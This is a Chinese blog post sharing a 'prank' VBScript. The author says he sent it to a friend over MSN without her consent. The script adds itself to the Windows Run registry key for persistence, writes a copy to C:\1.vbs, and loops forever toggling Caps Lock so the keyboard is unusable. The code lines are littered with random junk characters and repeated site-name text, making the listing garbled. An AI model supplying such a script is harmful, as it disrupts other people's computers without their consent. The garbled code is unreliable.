一段整人的脚本

      昨天晚上，1:00上线，MSN列表上只有老俞一个人，然后想整整她，用VBS写了一个脚本传了过去。之后她的键盘就#％@#了，HOHO。在此道歉。很真诚的那种。恩

今天下午，把昨天写的那个脚本又增强了。把它写到启动项里面去了。别人重启也无济于事了。整人脚本如下：

 

 

Set Regwsh=WScript.CreateObject("WScript.Shell")
yIquI w0Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Joke_LeYan" ,"C:\1.vbs"

Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\name" , "乐彦到此一游"天空博客/o,v7cO!yK {
Set file = CreateObject("Scripting.FileSystemObject")天空博客 o2}$f``mh6t
Set MyFile = file.CreateTextFile("c:\1.vbs",True)
[:Phb9j0MyFile.WriteLine("While (1)")
Z)W @+Vx"}(u ]0MyFile.WriteLine("Dim i")
Ah!Fg(O f:z.n%[cxG0MyFile.WriteLine("For i=1 TO 999999")天空博客]!C n V;j@~5h_-ogR
MyFile.WriteLine("Next")
^Gu]4e0MyFile.WriteLine("set WshShell = CreateObject(""WScript.Shell"")")
8dc0O MO2C E-J,U0MyFile.WriteLine("WshShell.SendKeys ""{CAPSLOCK}""")
Gx1D-b8y0MyFile.WriteLine("Wend")天空博客)N7lDdB4o;F5_
MyFile.Close天空博客T{1U#q$f0c%R
While (1)
T&C oB'[N,l0Dim i
ai9@%f1b;H!Bvhs0For i=1 TO 999999天空博客VP5P F V
Next
LI
o1D*z0set WshShell = CreateObject("WScript.Shell")天空博客+qY5}V pZ/XE{.t)vY
WshShell.SendKeys "{CAPSLOCK}"
:] Y/Pl[#W] |0Wend

 

 

上述代码保存为*.vbs就可运行

在任务管理器中关闭WScript进程就可关闭。

 

呵呵，没有什么技术含量，纯属无聊之作。HOHO